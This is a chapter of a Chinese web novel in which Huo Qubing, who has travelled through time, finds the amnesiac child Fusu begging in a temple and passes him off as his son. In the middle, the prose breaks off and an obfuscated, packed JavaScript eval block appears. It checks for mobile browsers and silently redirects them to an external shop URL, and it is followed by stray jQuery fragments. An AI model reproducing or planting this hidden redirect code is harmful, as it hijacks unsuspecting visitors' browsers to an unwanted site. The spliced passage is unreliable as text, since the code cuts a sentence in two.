被打了之后的扶苏一直在高烧,他也不知道自己在哪里,也不记得为何会这样。

    那天下午,他浑浑噩噩地醒过来,却见房间并不是他在21世纪时住的宿舍,可摆放也不似过去的秦宫……

    身上被锦被捂出了一身的汗,床下的炭盆烧的旺盛。这一看不要紧,火红的炭盆烙进眼底,惹得人从心底升腾起一股热意,暖烘烘地,脚底手心冒出汗津津地感觉。

    听见声响,门外的老媪打开门走进来,吓得床上的人一抖。

    后来的日子过得还算自在,除了整日的规矩让他束手束脚的动弹不得之外,真的要比他在大街上乞讨的那半日更加的舒适熨帖。但是他还是偷偷跑掉了……

    扶苏抬起头,眉间是浓郁的倦色。

    霍去病无奈的长叹一声,抬手招了招,“过来。”

    这小东西真是不让人省心,过去在21世纪,学着他的模样翻窗户,吓得站在阳台上根本就不敢动。现在又从霍府偷跑出来,宁愿乞讨也不愿留在那里等着他回来。明明昏迷的时候口口声声要找霍去病,醒来了,也恢复痊愈了却翻脸不认人。

    他这一出声不要紧,扶苏双目圆睁,猛地把打他的那个小乞丐护在身后,“干什么,光天化日的欺负人呢?”、

    扶苏一身的衣服还算是干净,只是手肘和膝盖上的布料磨得有些发亮,看起来灰突突的,应该是从霍府离开之后就再也没有换过。现在正是严寒天气,人就算是什么都不做,也冻得站不住脚。他的脸被火烤的黑乎乎的,鼻孔和眼窝更是黑得像是被柴火棍描画过。脸上冻出来的红晕泛出绀紫,似乎也有些肿胀。倒是一双眼睛依旧亮晶晶的,像刚入世的小老虎,天不怕地不怕。

    霍去病哭笑不得,挥手让周围佩刀带剑的人退下,“你不认识我了?”

    扶苏点点头,“认识,是你救了我。”

    当时挨打,到后来身边的炭盆的锦被,都指向眼前这个男人,怎么可能不记得。

    “过来,乖孩子。”

    这句话像是带有魔力,扶苏怔愣片刻,慢吞吞地走过去。岂料身后的小乞丐把他一推,他便稳不住身子的踉跄着过去,落在那人的身边。

    “你认识我吗,你要伤害我吗,你为什么要找我?”

    这几日,城里总有些奇怪的人,拿着他的画像,所到之处鸡飞狗跳。扶苏什么都不知道,可他却看得出这些人并非什么好惹的角色,只得躲到了破庙这里,入夜才敢出去找些吃的果腹。他只记得被这人带回家,再往前的事却是没有什么印象了。为何乞讨,乞讨之前在哪里,为何会出现在那个小巷子,为何会被这人带回家,他想不明白。索性,就当这人是个大善人吧。

    现在他的伤痊愈了,又怎么能继续给人添麻烦呢。

    一连三个问号,霍去病板着脸,看向怀里这个小人,“你认识扶苏吗?”

    小孩摇摇头。

    霍去病拧起眉头,“你什么时候来得这里?”不是这间破庙,而是‘这里’。

    小孩摇摇头。

    他一睁开眼就来到了这里,一开始,心里好像还装着什么事情,有什么重要的任务。可渐渐的,或许是那场高热烧坏了脑子,他竟然什么都想不起来了。在霍府的时候,他忽地意识到记忆的流逝,只得把还记得的东西写了下来。

    他掏出怀里的丝帛,抖散了递出来,“就记得这些。”

    一开始,他不知道自己会写字。一个小乞丐,怎么可能认识字。那日,他趁着老媪不注意,偷偷的伏在窗边的小几上,莫名其妙的拿起了毛笔,写出来之后,他拿着这张帛去给老媪看,哪知老媪不识字,只当他这是小孩子无聊的鬼画符,一把扔进了炭盆了。

    霍去病嗯了一声,接过丝帛,看着只剩一半的帛书上面的秦篆,蓦地红了眼眶。这手字,他曾看21世纪的扶苏写过无数遍……

    他牵起扶苏那双脏兮兮的小手,细细的打量着。确认了没什么伤口,才把丝帛揣进怀里。眼前这个小孩的样样表现都指向扶苏这个人,可他为什么会失去记忆,霍去病不知道。不知道,那就算了。他轻笑一声,捧起那张脏乎乎的,带着两团绯色红晕的小脸,“我是你爹爹。

    扶苏一愣,啪的一声拍在脸上的那双大手的手背,“胡言乱语。”

    这副模样简直跟扶苏一模一样。霍去病哈哈大笑,“修仁,过来。”

    站在门外候着的修仁一愣,一个箭步冲进来,“郎君。”

    “他是我儿子吗?”

    修仁的表情僵在脸上,目光逡巡几回,瞠目结舌。沉默良久,得了霍去病的一记眼刀。他低下头,“是,是小郎君。”

    霍去病看着扶苏,眉头一挑,“他是什么时候出现在小巷里乞讨的?”

    小乞丐被看的头皮发麻,只得实话实话,“不知道,突然就出现了。”

    “你跟我闹脾气,独自跑出家门。”霍去病满意的点点头,顺着小乞丐的话接了下去,“所以,我才会在大街上救你,带你回家。要不然,我为什么要管一个小乞丐的事情?”

    这话好像在理,扶苏半信半疑的把视线收回来,抬头看着那张脸,“那我怎么不记得?”

    “那我才是真的伤心呢,我可是衣不解带照顾你好多天。为了公务短暂的离开,你就又偷偷跑出来了,让我一顿好找。”

    扶苏竟然不知道,他是如此不孝顺的孩子。低着头,紧紧绞着满是冻疮的手指,“那我叫什么名字?”

    “小宝。”霍去病笑得狡猾极了,“你小名叫小宝,大名叫扶苏,公子扶苏的扶苏。”

    霍去病无奈的眨眨眼,在心里默念,岳丈大人对不起,对不起!

    扶苏点点头,默念着。原来他是有家的,不过是发烧不记得了。真是万幸,竟然没烧成个傻子……

    修仁站在一旁,对这样的场景惊得一愣又一愣,下巴都快要掉到胸口了。

    话里满是破绽,可扶苏,不对,小宝却慢慢相信了,“对不起,爹……爹。”

    这一声“爹爹”虽然磕巴,却让霍去病虎躯一震,全身上下,连毛孔都熨帖。这下好了,皇帝要的“交代”有了,真是得来全不费工夫。

    他把霍小宝抱

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17623192|205750||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    进怀里,朝修仁使了个眼色。修仁立刻心领神会的从怀里的荷包里掏出一锭银子抛给站在一侧的小乞丐,在这人的千恩万谢里,随着自家主子出了破庙。

    一行人折腾到了晚膳时间,忙活了几天的事情终于落地,霍去病显然是心情大好。餐桌上,两个人对面而坐,屏退了一众下人。霍去病拍拍身侧的空位置,“坐这里。”

    扶苏嗯了一声,没动,“我,我坐在这里就可以。”

    霍去病凑过去,一屁股坐下,拿起筷子,夹了几块鱼肉送进他的碗里,“有什么事情要说吗?”

    小宝拿起筷子,戳着碗底的鱼肉,“你这段时间去哪里了?”

    “巡视,马上就要除夕了,有许多公务。”

    “那我呢?”

    “你?”霍去病一想,“你呀,你的任务就是好好长大。”

    他也不会说什么哄人的话,干巴巴的又怕惹得小宝怀疑,索性把桌上的几样菜都夹了许多放进他的碗里,“吃饭吧。”

    如此一来,就算是搪塞过去了。

    “那……那我这里的伤疤是怎么来的?”小宝放下筷子,摸着颈上银色浅白的长疤痕,一脸天真。

    他隐约记得这件事,可太模糊了,模糊的只剩记忆里那柄闪着寒光的宝剑,贴在颈上,引起满身寒颤。

    霍去病也放下筷子,捧着他那张小脸,“是你小时候不小心划到的。”

    小宝用力的嗯了一声,扭头躲开他的触碰。说谎,骗子!他拿起筷子,快速的扒着饭粒。

    一张本就不大的小脸被饭碗挡的严丝合缝,霍去病夹起一筷子青菜,另一只手把他扣在脸上的碗拔下来,“吃青菜,这样才能长得高。”

    扶苏轻哼一声,撇撇嘴,端着碗扭身躲开。

    没预料到这种反应的霍去病一愣,脸色瞬间阴云密布,“霍小宝!”喊出来,他却很想笑,没想到临时顺口胡诌的名字,竟然还挺顺口的。

    穿越来的扶苏虽说是还带着些记忆,可这段时间里他收到的磨难不少,才意识到自己现在只是个小孩。记忆缺失之后,他就更加的胆小起来。霍去病一声吼,他立刻红了眼眶,豆大的晶莹泪珠挂在下睫毛上,欲落不落,甚是惹人怜爱。

    从没养过孩子的霍去病只当他是使小性子,搁下筷子,“吃饱我让修仁带你去洗澡。”

    或许他离开了,这孩子就能自在一些。转身出了房门,看着站在一旁等候的人,“待会儿带他去洗澡,明天叫人给他做些衣服鞋袜。”

    嘱咐的过于细致,修仁抬起头来,“郎君,真要……”

    话还没说出口,霍去病就捂住了他的嘴巴,朝紧闭的房门看过去,确认无异常才松了手,“嗯。”

    穿越这样的事简直就是天方夜谭,这让他如何跟旁人讲起。21世纪的种种,哪一样都像是一个精神病人的幻想吧。霍去病打量着修仁,“以后说话注意。”

    注意什么不言而喻,修仁应了是,目送霍去病出了院子,长长的叹了一口气,“这可怎么跟外人交代啊,突然指尖按,自家主子就多了个‘儿子’。”